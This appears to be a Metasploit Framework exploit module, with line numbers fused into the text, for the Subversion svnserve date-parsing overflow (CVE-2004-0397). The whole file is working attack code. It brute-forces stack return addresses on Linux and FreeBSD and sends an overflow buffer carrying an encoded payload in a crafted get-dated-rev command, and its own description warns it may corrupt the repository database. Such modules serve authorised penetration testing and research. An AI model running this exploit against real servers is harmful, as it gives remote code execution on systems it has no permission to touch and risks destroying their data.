Path: blob/master/modules/exploits/multi/svn/svnserve_date.rb
33181 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Brute9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Subversion Date Svnserve',16'Description' => %q{17This is an exploit for the Subversion date parsing overflow. This18exploit is for the svnserve daemon (svn:// protocol) and will not work19for Subversion over webdav (http[s]://). This exploit should never20crash the daemon, and should be safe to do multi-hits.2122**WARNING** This exploit seems to (not very often, I've only seen23it during testing) corrupt the subversion database, so be careful!24},25'Author' => 'spoonm',26'References' => [27['CVE', '2004-0397'],28['OSVDB', '6301'],29['BID', '10386'],30['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']31],32'Payload' => {33'Space' => 500,34'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",35'MinNops' => 1636},37'SaveRegisters' => [ 'esp' ],38'Arch' => 'x86',39'Targets' => [40[41'Linux Bruteforce',42{43'Platform' => 'linux',44'Bruteforce' =>45{46'Start' => { 'Ret' => 0xbffffe13 },47'Stop' => { 'Ret' => 0xbfff0000 },48'Step' => 049}50},51],52[53'FreeBSD Bruteforce',54{55'Platform' => 'bsd',56'Bruteforce' =>57{58'Start' => { 'Ret' => 0xbfbffe13 },59'Stop' => { 'Ret' => 0xbfbf0000 },60'Step' => 061}62},63],6465],66'DisclosureDate' => '2004-05-19',67'Notes' => {68'Reliability' => UNKNOWN_RELIABILITY,69'Stability' => UNKNOWN_STABILITY,70'SideEffects' => UNKNOWN_SIDE_EFFECTS71}72)73)7475register_options(76[77Opt::RPORT(3690),78OptString.new('URL', [ true, 'SVN URL (ie svn://host/repos)', 'svn://host/svn/repos' ])79]80)8182register_advanced_options(83[84# 62 on spoonm's, 88 on HD's85OptInt.new('RetLength', [ false, 'Length of rets after payload', 100 ]),86OptBool.new('IgnoreErrors', [ false, 'Ignore errors', false ])87]88)89end9091def brute_exploit(addresses)92connect9394print_status("Trying #{'%.8x' % addresses['Ret']}...")9596buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded9798[99'( 2 ( edit-pipeline ) ' + lengther(datastore['URL']) + ' ) ',100'( ANONYMOUS ( 0; ) )',101'( get-dated-rev ( ' + lengther(buffer + ' 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)') + ' ) ) '102].each_with_index do |buf, index|103trash = sock.get_once104105print_line("Received: #{trash}") if debugging?106107if (sock.put(buf) || 0) == 0 and index < 3108print_error('Error transmitting buffer.')109fail_with(Failure::Unknown, 'Failed to transmit data') if !datastore['IgnoreErrors']110end111112if index == 3 and trash.length > 0113print_error("Received data when we shouldn't have")114fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']115end116end117118handler119disconnect120end121122def lengther(buf)123"#{buf.length}:" + buf124end125end126127128